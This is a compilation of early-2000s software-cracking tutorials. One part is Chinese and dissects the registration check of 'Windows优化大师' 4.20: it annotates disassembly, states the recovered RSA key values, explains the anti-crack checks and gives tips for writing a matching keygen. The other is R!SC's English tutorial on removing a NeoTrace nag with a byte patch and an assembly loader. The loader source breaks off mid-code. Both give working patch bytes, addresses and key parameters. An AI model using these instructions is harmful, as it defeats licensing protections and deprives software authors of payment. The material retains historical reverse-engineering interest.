c = (a * c) mod n;
}
}

return c;
}

在上面的编号为（2）的CALL按F8进入后会来到如下地方：
* Referenced by a CALL at Addresses:
|:004042D7 , :00404301
|
:004040B8 55 push ebp
:004040B9 8BEC mov ebp, esp
:004040BB 83C4F8 add esp, FFFFFFF8
:004040BE C745F801000000 mov [ebp-08], 00000001 <--c = 1
:004040C5 C745FC00000000 mov [ebp-04], 00000000
:004040CC EB7C jmp 0040414A

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00404154(C), :0040415C(C)
|
:004040CE 6A00 push 00000000
:004040D0 6A02 push 00000002
:004040D2 8B4510 mov eax, dword ptr [ebp+10]
:004040D5 8B5514 mov edx, dword ptr [ebp+14]
:004040D8 E890FAFFFF call 00403B6D <--b mod 2
:004040DD 83FA00 cmp edx, 00000000
:004040E0 7539 jne 0040411B
:004040E2 83F800 cmp eax, 00000000
:004040E5 7534 jne 0040411B
:004040E7 6A00 push 00000000
:004040E9 6A02 push 00000002
:004040EB 8B4510 mov eax, dword ptr [ebp+10]
:004040EE 8B5514 mov edx, dword ptr [ebp+14]
:004040F1 E884F9FFFF call 00403A7A <--b = b / 2
:004040F6 894510 mov dword ptr [ebp+10], eax
:004040F9 895514 mov dword ptr [ebp+14], edx
:004040FC FF751C push [ebp+1C]
:004040FF FF7518 push [ebp+18]
:00404102 FF751C push [ebp+1C]
:00404105 FF7518 push [ebp+18]
:00404108 FF750C push [ebp+0C]
:0040410B FF7508 push [ebp+08]
:0040410E E84DFFFFFF call 00404060 <--a = (a * a) mod n
:00404113 894518 mov dword ptr [ebp+18], eax
:00404116 89551C mov dword ptr [ebp+1C], edx
:00404119 EB2F jmp 0040414A

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004040E0(C), :004040E5(C)
|
:0040411B 8B4510 mov eax, dword ptr [ebp+10]
:0040411E 8B5514 mov edx, dword ptr [ebp+14]
:00404121 83E801 sub eax, 00000001 <--b = b - 1
:00404124 83DA00 sbb edx, 00000000
:00404127 894510 mov dword ptr [ebp+10], eax
:0040412A 895514 mov dword ptr [ebp+14], edx
:0040412D FF751C push [ebp+1C]
:00404130 FF7518 push [ebp+18]
:00404133 FF75FC push [ebp-04]
:00404136 FF75F8 push [ebp-08]
:00404139 FF750C push [ebp+0C]
:0040413C FF7508 push [ebp+08]
:0040413F E81CFFFFFF call 00404060 <--c = (a * c) mod n
:00404144 8945F8 mov dword ptr [ebp-08], eax
:00404147 8955FC mov dword ptr [ebp-04], edx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004040CC(U), :00404119(U)
|
:0040414A 837D1400 cmp dword ptr [ebp+14], 00000000 <--b等于0吗？
:0040414E 750C jne 0040415C
:00404150 837D1000 cmp dword ptr [ebp+10], 00000000
:00404154 0F8774FFFFFF ja 004040CE
:0040415A EB06 jmp 00404162 <--继续循环

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040414E(C)
|
:0040415C 0F8F6CFFFFFF jg 004040CE <--继续循环

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040415A(U)
|
:00404162 8B45F8 mov eax, dword ptr [ebp-08] <--返回值c
:00404165 8B55FC mov edx, dword ptr [ebp-04]
:00404168 59 pop ecx
:00404169 59 pop ecx
:0040416A 5D pop ebp
:0040416B C21800 ret 0018

//--------------------------------------------------------------------------------------------------
现在我们可以得到RSA中的相关参数：
两个素因数之积： n=0x69AAA0E3
加密密钥： e=0x3B442AF9
解密密钥： d=0x002C86F9

//------------------------------------------------------------------------------
至此我们已经对《WINDOWS优化大师》的注册码机制进行了比较完全的分析，所以我相信大家对其写注册机没有太大的困难了。
希望大家没事的时候写一写注册机，以提高自己的编程水平！！！

后记：今天终于买到了看雪兄的书了（呜~~~~~~~~~~~~~），真是等你等到我心痛啊！！！

================================================================================
破解心得之Windows优化大师篇（补充）

软件名称：Windows优化大师
版本：4.20
作者：时空幻影
时间：2001年11月25日
使用工具：TRW2000 V1.22已注册版、CASPR（脱壳工具）、PW32DSM白金版汉化版

在我破解的过程中，我发现在输入注册码后软件可以变成已注册的，也能进行自动优化，但当退出后再重新运行又变成未注册的了。
经过跟踪调试分析后，我发现原来是由于我为了能够反编译OCTODLL.DLL，对该文件进行了脱壳，并把脱壳后的文件拷贝到软件目录下覆盖
了原来的未脱壳的文件而导致了软件变成了未注册的。
现在让我们来看一看有哪些因素会导致软件变成了未注册的：
* Referenced by a CALL at Addresses:
|:00534EFA , :005360D8
|
:0052738C 55 push ebp
:0052738D 8BEC mov ebp, esp
:0052738F 81C48CFEFFFF add esp, FFFFFE8C
:00527395 53 push ebx
:00527396 56 push esi
:00527397 33D2 xor edx, edx
:00527399 89958CFEFFFF mov dword ptr [ebp+FFFFFE8C], edx
:0052739F 899590FEFFFF mov dword ptr [ebp+FFFFFE90], edx
:005273A5 8955F8 mov dword ptr [ebp-08], edx
:005273A8 8955F4 mov dword ptr [ebp-0C], edx
:005273AB 8955F0 mov dword ptr [ebp-10], edx
:005273AE 8955EC mov dword ptr [ebp-14], edx
:005273B1 8945FC mov dword ptr [ebp-04], eax
:005273B4 8D8594FEFFFF lea eax, dword ptr [ebp+FFFFFE94]

* Possible StringData Ref from Code Obj ->"
TSearchRecX"
|
:005273BA 8B156C7E4000 mov edx, dword ptr [00407E6C]
:005273C0 E87FD1EDFF call 00404544
:005273C5 33C0 xor eax, eax
:005273C7 55 push ebp
:005273C8 68B8785200 push 005278B8
:005273CD 64FF30 push dword ptr fs:[eax]
:005273D0 648920 mov dword ptr fs:[eax], esp
:005273D3 B201 mov dl, 01
:005273D5 A1787F4500 mov eax, dword ptr [00457F78]
:005273DA E8990CF3FF call 00458078
:005273DF 8BD8 mov ebx, eax
:005273E1 BA02000080 mov edx, 80000002
:005273E6 8BC3 mov eax, ebx
:005273E8 E82B0DF3FF call 00458118
:005273ED B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Wom"
|
:005273EF BAD0785200 mov edx, 005278D0
:005273F4 8BC3 mov eax, ebx
:005273F6 E8610EF3FF call 0045825C
:005273FB 8D9590FEFFFF lea edx, dword ptr [ebp+FFFFFE90]
:00527401 A174C25600 mov eax, dword ptr [0056C274]
:00527406 8B00 mov eax, dword ptr [eax]
:00527408 E8838EF2FF call 00450290
:0052740D 8B8D90FEFFFF mov ecx, dword ptr [ebp+FFFFFE90]

* Possible StringData Ref from Code Obj ->"location"
|
:00527413 BAE8785200 mov edx, 005278E8
:00527418 8BC3 mov eax, ebx
:0052741A E88D13F3FF call 004587AC

* Possible StringData Ref from Code Obj ->"Register"
|
:0052741F BAFC785200 mov edx, 005278FC
:00527424 8BC3 mov eax, ebx
:00527426 E8E115F3FF call 00458A0C <--读取注册者姓名
:0052742B 84C0 test al, al
:0052742D 752B jne 0052745A <--有注册者姓名的话则跳转
:0052742F 8B45FC mov eax, dword ptr [ebp-04]
:00527432 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:00527438 BA10795200 mov edx, 00527910
:0052743D E8C2A4F0FF call 00431904
:00527442 8BC3 mov eax, ebx
:00527444 E89F0CF3FF call 004580E8
:00527449 8BC3 mov eax, ebx
:0052744B E81CBBEDFF call 00402F6C
:00527450 BB01000000 mov ebx, 00000001
:00527455 E922040000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052742D(C)
|
:0052745A 8D4DF0 lea ecx, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"Register"
|
:0052745D BAFC785200 mov edx, 005278FC
:00527462 8BC3 mov eax, ebx
:00527464 E86F13F3FF call 004587D8
:00527469 8BC3 mov eax, ebx
:0052746B E8780CF3FF call 004580E8
:00527470 8BC3 mov eax, ebx
:00527472 E8F5BAEDFF call 00402F6C
:00527477 8D45EC lea eax, dword ptr [ebp-14]
:0052747A 8B1554FF5600 mov edx, dword ptr [0056FF54]
:00527480 E8CBC8EDFF call 00403D50
:00527485 C705E0FE560001000000 mov dword ptr [0056FEE0], 00000001
:0052748F 8B45F0 mov eax, dword ptr [ebp-10]
:00527492 E8A1CAEDFF call 00403F38
:00527497 8BC8 mov ecx, eax
:00527499 85C9 test ecx, ecx
:0052749B 7E2F jle 005274CC
:0052749D BB01000000 mov ebx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005274CA(C)
|
:005274A2 8B45F0 mov eax, dword ptr [ebp-10]
:005274A5 0FB64418FF movzx eax, byte ptr [eax+ebx-01]
:005274AA F72DE0FE5600 imul dword ptr [0056FEE0]
:005274B0 0578080D00 add eax, 000D0878
:005274B5 99 cdq
:005274B6 33C2 xor eax, edx
:005274B8 2BC2 sub eax, edx
:005274BA BE40420F00 mov esi, 000F4240
:005274BF 99 cdq
:005274C0 F7FE idiv esi
:005274C2 8915E0FE5600 mov dword ptr [0056FEE0], edx
:005274C8 43 inc ebx
:005274C9 49 dec ecx
:005274CA 75D6 jne 005274A2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052749B(C)
|
:005274CC 8B45EC mov eax, dword ptr [ebp-14]
:005274CF E864CAEDFF call 00403F38
:005274D4 8BC8 mov ecx, eax
:005274D6 85C9 test ecx, ecx
:005274D8 7E2F jle 00527509
:005274DA BB01000000 mov ebx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00527507(C)
|
:005274DF 8B45EC mov eax, dword ptr [ebp-14]
:005274E2 0FB64418FF movzx eax, byte ptr [eax+ebx-01]
:005274E7 F72DE0FE5600 imul dword ptr [0056FEE0]
:005274ED 057D590200 add eax, 0002597D
:005274F2 99 cdq
:005274F3 33C2 xor eax, edx
:005274F5 2BC2 sub eax, edx
:005274F7 BE40420F00 mov esi, 000F4240
:005274FC 99 cdq
:005274FD F7FE idiv esi
:005274FF 8915E0FE5600 mov dword ptr [0056FEE0], edx
:00527505 43 inc ebx
:00527506 49 dec ecx
:00527507 75D6 jne 005274DF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005274D8(C)
|
:00527509 B201 mov dl, 01
:0052750B A1787F4500 mov eax, dword ptr [00457F78]
:00527510 E8630BF3FF call 00458078
:00527515 8BF0 mov esi, eax
:00527517 BA02000080 mov edx, 80000002
:0052751C 8BC6 mov eax, esi
:0052751E E8F50BF3FF call 00458118
:00527523 B101 mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Wom"
|
:00527525 BAD0785200 mov edx, 005278D0
:0052752A 8BC6 mov eax, esi
:0052752C E82B0DF3FF call 0045825C

* Possible StringData Ref from Code Obj ->"Register_1"
|
:00527531 BA38795200 mov edx, 00527938
:00527536 8BC6 mov eax, esi
:00527538 E8CF14F3FF call 00458A0C <--读取注册码第一部分
:0052753D 84C0 test al, al
:0052753F 752B jne 0052756C <--有注册码第一部分的话则跳转
:00527541 8B45FC mov eax, dword ptr [ebp-04]
:00527544 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:0052754A BA10795200 mov edx, 00527910
:0052754F E8B0A3F0FF call 00431904
:00527554 8BC6 mov eax, esi
:00527556 E88D0BF3FF call 004580E8
:0052755B 8BC6 mov eax, esi
:0052755D E80ABAEDFF call 00402F6C
:00527562 BB01000000 mov ebx, 00000001
:00527567 E910030000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052753F(C)
|

* Possible StringData Ref from Code Obj ->"Register_2"
|
:0052756C BA4C795200 mov edx, 0052794C
:00527571 8BC6 mov eax, esi
:00527573 E89414F3FF call 00458A0C <--读取注册码第二部分
:00527578 84C0 test al, al
:0052757A 752B jne 005275A7 <--有注册码第二部分的话则跳转
:0052757C 8B45FC mov eax, dword ptr [ebp-04]
:0052757F 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:00527585 BA10795200 mov edx, 00527910
:0052758A E875A3F0FF call 00431904
:0052758F 8BC6 mov eax, esi
:00527591 E8520BF3FF call 004580E8
:00527596 8BC6 mov eax, esi
:00527598 E8CFB9EDFF call 00402F6C
:0052759D BB01000000 mov ebx, 00000001
:005275A2 E9D5020000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052757A(C)
|
:005275A7 8D8D94FEFFFF lea ecx, dword ptr [ebp+FFFFFE94]
:005275AD BA3F000000 mov edx, 0000003F

* Possible StringData Ref from Code Obj ->"*.*"
|
:005275B2 B860795200 mov eax, 00527960
:005275B7 E8741CEEFF call 00409230
:005275BC 8B85A0FEFFFF mov eax, dword ptr [ebp+FFFFFEA0]

* Possible StringData Ref from Code Obj ->"OctoDll.dll"
|
:005275C2 BA6C795200 mov edx, 0052796C
:005275C7 E87CCAEDFF call 00404048 <--校验文件OctoDll.dll是否有改变
:005275CC 7537 jne 00527605
:005275CE 81BD98FEFFFF00460000 cmp dword ptr [ebp+FFFFFE98], 00004600
:005275D8 742B je 00527605
:005275DA 8B45FC mov eax, dword ptr [ebp-04]
:005275DD 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:005275E3 BA10795200 mov edx, 00527910
:005275E8 E817A3F0FF call 00431904
:005275ED 8BC6 mov eax, esi
:005275EF E8F40AF3FF call 004580E8
:005275F4 8BC6 mov eax, esi
:005275F6 E871B9EDFF call 00402F6C
:005275FB BB01000000 mov ebx, 00000001
:00527600 E977020000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005275CC(C), :005275D8(C)
|
:00527605 81BD98FEFFFF00680200 cmp dword ptr [ebp+FFFFFE98], 00026800
:0052760F 752B jne 0052763C
:00527611 8B45FC mov eax, dword ptr [ebp-04]
:00527614 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:0052761A BA10795200 mov edx, 00527910
:0052761F E8E0A2F0FF call 00431904
:00527624 8BC6 mov eax, esi
:00527626 E8BD0AF3FF call 004580E8
:0052762B 8BC6 mov eax, esi
:0052762D E83AB9EDFF call 00402F6C
:00527632 BB01000000 mov ebx, 00000001
:00527637 E940020000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052760F(C)
|
:0052763C 8B95A0FEFFFF mov edx, dword ptr [ebp+FFFFFEA0]

* Possible StringData Ref from Code Obj ->"cr-wom"
|
:00527642 B880795200 mov eax, 00527980
:00527647 E8D8CBEDFF call 00404224 <--检查当前目录下的所有文件的文件名中是否包含有"cr-wom"字眼
:0052764C 85C0 test eax, eax
:0052764E 742B je 0052767B
:00527650 8B45FC mov eax, dword ptr [ebp-04]
:00527653 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:00527659 BA10795200 mov edx, 00527910
:0052765E E8A1A2F0FF call 00431904
:00527663 8BC6 mov eax, esi
:00527665 E87E0AF3FF call 004580E8
:0052766A 8BC6 mov eax, esi
:0052766C E8FBB8EDFF call 00402F6C
:00527671 BB01000000 mov ebx, 00000001
:00527676 E901020000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0052764E(C)
|

* Possible StringData Ref from Code Obj ->"Windowsyhds.exe"
|
:0052767B B890795200 mov eax, 00527990
:00527680 E8FB1AEEFF call 00409180 <--检查当前目录下的所有文件的文件名中是否有"Windowsyhds.exe"
:00527685 84C0 test al, al
:00527687 751C jne 005276A5

* Possible StringData Ref from Code Obj ->"fwd.txt"
|
:00527689 B8A8795200 mov eax, 005279A8
:0052768E E8ED1AEEFF call 00409180 <--检查当前目录下的所有文件的文件名中是否有"fwd.txt"
:00527693 84C0 test al, al
:00527695 750E jne 005276A5

* Possible StringData Ref from Code Obj ->"wom29a_k.exe"
|
:00527697 B8B8795200 mov eax, 005279B8
:0052769C E8DF1AEEFF call 00409180 <--检查当前目录下的所有文件的文件名中是否有"wom29a_k.exe"
:005276A1 84C0 test al, al
:005276A3 742B je 005276D0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00527687(C), :00527695(C)
|
:005276A5 8B45FC mov eax, dword ptr [ebp-04]
:005276A8 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:005276AE BA10795200 mov edx, 00527910
:005276B3 E84CA2F0FF call 00431904
:005276B8 8BC6 mov eax, esi
:005276BA E8290AF3FF call 004580E8
:005276BF 8BC6 mov eax, esi
:005276C1 E8A6B8EDFF call 00402F6C
:005276C6 BB01000000 mov ebx, 00000001
:005276CB E9AC010000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005276A3(C), :005277FB(C)
|
:005276D0 8D8594FEFFFF lea eax, dword ptr [ebp+FFFFFE94]
:005276D6 E8A51BEEFF call 00409280
:005276DB 8BD8 mov ebx, eax
:005276DD 85DB test ebx, ebx
:005276DF 0F8514010000 jne 005277F9
:005276E5 8B85A0FEFFFF mov eax, dword ptr [ebp+FFFFFEA0]

* Possible StringData Ref from Code Obj ->"OctoDll.dll"
|
:005276EB BA6C795200 mov edx, 0052796C
:005276F0 E853C9EDFF call 00404048
:005276F5 7537 jne 0052772E
:005276F7 81BD98FEFFFF00460000 cmp dword ptr [ebp+FFFFFE98], 00004600
:00527701 742B je 0052772E
:00527703 8B45FC mov eax, dword ptr [ebp-04]
:00527706 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:0052770C BA10795200 mov edx, 00527910
:00527711 E8EEA1F0FF call 00431904
:00527716 8BC6 mov eax, esi
:00527718 E8CB09F3FF call 004580E8
:0052771D 8BC6 mov eax, esi
:0052771F E848B8EDFF call 00402F6C
:00527724 BB01000000 mov ebx, 00000001
:00527729 E94E010000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005276F5(C), :00527701(C)
|
:0052772E 81BD98FEFFFF00680200 cmp dword ptr [ebp+FFFFFE98], 00026800
:00527738 752B jne 00527765
:0052773A 8B45FC mov eax, dword ptr [ebp-04]
:0052773D 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:00527743 BA10795200 mov edx, 00527910
:00527748 E8B7A1F0FF call 00431904
:0052774D 8BC6 mov eax, esi
:0052774F E89409F3FF call 004580E8
:00527754 8BC6 mov eax, esi
:00527756 E811B8EDFF call 00402F6C
:0052775B BB01000000 mov ebx, 00000001
:00527760 E917010000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00527738(C)
|
:00527765 8B95A0FEFFFF mov edx, dword ptr [ebp+FFFFFEA0]

* Possible StringData Ref from Code Obj ->"cr-wom"
|
:0052776B B880795200 mov eax, 00527980
:00527770 E8AFCAEDFF call 00404224
:00527775 85C0 test eax, eax
:00527777 742B je 005277A4
:00527779 8B45FC mov eax, dword ptr [ebp-04]
:0052777C 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:00527782 BA10795200 mov edx, 00527910
:00527787 E878A1F0FF call 00431904
:0052778C 8BC6 mov eax, esi
:0052778E E85509F3FF call 004580E8
:00527793 8BC6 mov eax, esi
:00527795 E8D2B7EDFF call 00402F6C
:0052779A BB01000000 mov ebx, 00000001
:0052779F E9D8000000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00527777(C)
|

* Possible StringData Ref from Code Obj ->"Windowsyhds.exe"
|
:005277A4 B890795200 mov eax, 00527990
:005277A9 E8D219EEFF call 00409180
:005277AE 84C0 test al, al
:005277B0 751C jne 005277CE

* Possible StringData Ref from Code Obj ->"fwd.txt"
|
:005277B2 B8A8795200 mov eax, 005279A8
:005277B7 E8C419EEFF call 00409180
:005277BC 84C0 test al, al
:005277BE 750E jne 005277CE

* Possible StringData Ref from Code Obj ->"wom29a_k.exe"
|
:005277C0 B8B8795200 mov eax, 005279B8
:005277C5 E8B619EEFF call 00409180
:005277CA 84C0 test al, al
:005277CC 742B je 005277F9

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005277B0(C), :005277BE(C)
|
:005277CE 8B45FC mov eax, dword ptr [ebp-04]
:005277D1 8B8064050000 mov eax, dword ptr [eax+00000564]

* Possible StringData Ref from Code Obj ->"Windows优化大师 V4.2 (未注册)"
|
:005277D7 BA10795200 mov edx, 00527910
:005277DC E823A1F0FF call 00431904
:005277E1 8BC6 mov eax, esi
:005277E3 E80009F3FF call 004580E8
:005277E8 8BC6 mov eax, esi
:005277EA E87DB7EDFF call 00402F6C
:005277EF BB01000000 mov ebx, 00000001
:005277F4 E983000000 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005276DF(C), :005277CC(C)
|
:005277F9 85DB test ebx, ebx
:005277FB 0F84CFFEFFFF je 005276D0
:00527801 8D8594FEFFFF lea eax, dword ptr [ebp+FFFFFE94] <--只要能够运行到这里，那么除了注册码错误，
也就没有其他的问题了
:00527807 E8981AEEFF call 004092A4
:0052780C 8D4DF8 lea ecx, dword ptr [ebp-08]

* Possible StringData Ref from Code Obj ->"Register_1"
|
:0052780F BA38795200 mov edx, 00527938
:00527814 8BC6 mov eax, esi
:00527816 E8BD0FF3FF call 004587D8
:0052781B 8D4DF4 lea ecx, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"Register_2"
|
:0052781E BA4C795200 mov edx, 0052794C
:00527823 8BC6 mov eax, esi
:00527825 E8AE0FF3FF call 004587D8
:0052782A 8BC6 mov eax, esi
:0052782C E8B708F3FF call 004580E8
:00527831 8BC6 mov eax, esi
:00527833 E834B7EDFF call 00402F6C
:00527838 8B45F8 mov eax, dword ptr [ebp-08]
:0052783B E870FAFFFF call 005272B0
:00527840 99 cdq
:00527841 52 push edx
:00527842 50 push eax
:00527843 8B45F4 mov eax, dword ptr [ebp-0C]
:00527846 E865FAFFFF call 005272B0
:0052784B 99 cdq
:0052784C 52 push edx
:0052784D 50 push eax
:0052784E 8D958CFEFFFF lea edx, dword ptr [ebp+FFFFFE8C]
:00527854 A1E0FE5600 mov eax, dword ptr [0056FEE0]
:00527859 E83616EEFF call 00408E94
:0052785E 8B858CFEFFFF mov eax, dword ptr [ebp+FFFFFE8C]
:00527864 E893C8EDFF call 004040FC

* Reference To: Octodll.Registed, Ord:0000h
|
:00527869 E896E7FFFF Call 00526004
:0052786E 83F814 cmp eax, 00000014
:00527871 7407 je 0052787A
:00527873 BB01000000 mov ebx, 00000001
:00527878 EB02 jmp 0052787C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00527871(C)
|
:0052787A 33DB xor ebx, ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00527455(U), :00527567(U), :005275A2(U), :00527600(U), :00527637(U)
|:00527676(U), :005276CB(U), :00527729(U), :00527760(U), :0052779F(U)
|:005277F4(U), :00527878(U)
|
:0052787C 33C0 xor eax, eax
:0052787E 5A pop edx
:0052787F 59 pop ecx
:00527880 59 pop ecx
:00527881 648910 mov dword ptr fs:[eax], edx
:00527884 68BF785200 push 005278BF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005278BD(U)
|
:00527889 8D858CFEFFFF lea eax, dword ptr [ebp+FFFFFE8C]
:0052788F BA02000000 mov edx, 00000002
:00527894 E843C4EDFF call 00403CDC
:00527899 8D8594FEFFFF lea eax, dword ptr [ebp+FFFFFE94]

* Possible StringData Ref from Code Obj ->"
TSearchRecX"
|
:0052789F 8B156C7E4000 mov edx, dword ptr [00407E6C]
:005278A5 E866CDEDFF call 00404610
:005278AA 8D45EC lea eax, dword ptr [ebp-14]
:005278AD BA04000000 mov edx, 00000004
:005278B2 E825C4EDFF call 00403CDC
:005278B7 C3 ret

:005278B8 E90FBEEDFF jmp 004036CC
:005278BD EBCA jmp 00527889
:005278BF 8BC3 mov eax, ebx
:005278C1 5E pop esi
:005278C2 5B pop ebx
:005278C3 8BE5 mov esp, ebp
:005278C5 5D pop ebp
:005278C6 C3 ret

//--------------------------------------------------------------------------------------------------
另外值得注意的是在写注册机的时候，当求Code2是不要直接使用0x14，因为算出来的注册码与作者不符。其实Code2并不唯一，
除了最高2位和低16位不能动，剩余的14位可以为任意数。经过我的分析，使用0x93E0014算出来的注册码才与作者相符。


Loader by R!SC

 标 题:转：Patching of Packed/Protected files...(Writing a Loader) (13千字)
发信人:dm955
时 间:2002-3-14 3:04:21
详细信息:
Patching of Packed/Protected files...(Writing a Loader) - by R!SC - With Loader-Source (Assembler)
Posted on Wednesday, March 13 @ 15:37:26 CET [ | ]

There are three ways to defeat packed/protected files

#1:Unpack them, then patch the 'exe
#2:Writing a loader, that waits for the program to unpack, then patches the memory
#3:Patching the packed file to patch itself when unpacked :)

In my eyes, they are like patching a reg code(#1), ripping a reg code(#2), and writing a
keygen(#3), well, i never knew how to write a loader, so i decided to reverse engineer another
crackers(Hayras's) loader/memory patcher, and re-write it in win32asm. It seemed like a good
idea at the time :) and proves to be very useful indeed, more leet than ripping a reg code, as
you may see....

aND sO tHE tUTORIAL bEGINS!
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Target Program: NeoTrace v1.22
Url: http://www.neoworx.com
Protection: Packed with Neolite & a little NAG when u want to exit

Ok, as i dont really like tutorials on cracking as such, and to make a long story short, run
NeoTrace, enter softice

bpx DialogBoxParamA

Click on quit, BOOM, back into softice...hit F11, click on the OK button BOOM?, in softice
again, note the cmp eax, 01, and eax is zero? the jnz 40A67F gets taken if eax was not '1', ok,
for killing this, we skip the call to DialogBoxParamA, so in softice, bpx DialogBoxParamA again,
hit F11 when it breaks, click 'OK', use ctrl + cursor up to move up a few lines...

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5FF(C)
|
:0040A60F 8B0DF4404200 mov ecx, dword ptr [004240F4]
:0040A615 8B15543F4200 mov edx, dword ptr [00423F54]
:0040A61B 6A00 push 00000000
:0040A61D 68E08C4000 push 00408CE0
:0040A622 51 push ecx

* Possible Reference to Dialog: DialogID_00A4
|
:0040A623 68A4000000 push 000000A4
:0040A628 52 push edx

* Reference To: USER32.DialogBoxParamA, Ord:008Eh
|
:0040A629 FF15D8B24100 Call dword ptr [0041B2D8]
:0040A62F 83F801 cmp eax, 00000001
:0040A632 754B jne 0040A67F

See the first push? at 40A61B? Thats the first paramater for the function, so we want to jump
from there to 40A67F, where we would be if OK was pressed? in softice, type in 'a 40A61B', then
'jmp 40A67F', write dowm the codes for the jump instruction (EB62), and the address of it
(40A61B). Just a quick test that it works...

Run NeoTrace again, bpx getwindowtexta, type in an address to trace, click on the trace button,
hi softice :), Hit F11, make sure your inside of Neotrace, then type in 'e 40a61b eb,62' to do
our patch. 'bc *','x', click on quit, no NAG! kewl...

Right oh, easy crack, lets see a loader for it then :)

;-=-Loader.asm-=-=-cut & paste me :)=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

; based on original loader.exe by Hayras [tNO '98] used in
; Hayras's Neolite v1.22 memory patcher.
;
; Special thanks to TNO for graciously allowing me to use this
; source on behalf of Hayras, who has now retired from the scene.

; Yes, Hayras's loader reversed by R!SC, then totally re-written
; & released to the public, so everyone can learn this shit :)

; Requires Tasm 5.0 & import32.lib to compile

; tasm32 /ml loader.asm
; tlink32 /Tpe /aa /c loader,loader,, import32.lib
; replace with whatever...

; (c)1999 R!SC (see what i do instead of cracking...duh) yey Prophecy!

.386P
Locals
jumps

.Model Flat ,StdCall

;Define the needed external functions and constants here.

Extrn MessageBoxA:PROC
Extrn WaitForInputIdle:PROC

Extrn WriteProcessMemory:PROC
Extrn ReadProcessMemory:PROC
Extrn CreateProcessA:PROC
Extrn CloseHandle:PROC
Extrn ExitProcess:PROC

;-=-Normal data-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
.Data
CSiR_Tag db ' PE LOADER & CRACKER---R!SC 1999 ',0
CSiR_Error db 'Error!!!',0
CSiR_Error1 db 'Something fucked up...',0
OpenERR_txt db 'CreateProcess Error :(',0
ReadERR_txt db 'ReadProcessMemory Error :(',0
WriteERR_txt db 'WriteProcessMemory Error :P',0
VersionERR_txt db 'Incorrect Version of application :(',0
CSiR_ProcessInfo dd 4 dup (0) ;process handles
CSiR_StartupInfo db 48h dup (0) ;startup info for the process were opening
CSiR_RPBuffer db 10h dup (0) ;read buffer, for checking data

;-=-Patch datas-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

CSiR_AppName db 'NEOTRACE.EXE',0
fuck dd 40a61bh ; address to read data from for version checking
sizeof dd 10 ; in the new process

checkbytes db 06ah,0,068h,0e0h,08ch ; the bytes to check for
db 040h,0,051h,068h,0a4h ; if there not there, we have the wrong version??

patch_data_1 db 0ebh,62h
patch_size_1 dd 2
patch_addr_1 dd 40a61bh

.Code
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Main:
push offset CSiR_Tag
mov dword ptr [CSiR_StartupInfo],44h ; (the size in bytes of the structure)
push offset CSiR_ProcessInfo ; Typedef struct _PROCESS_INFORMATION
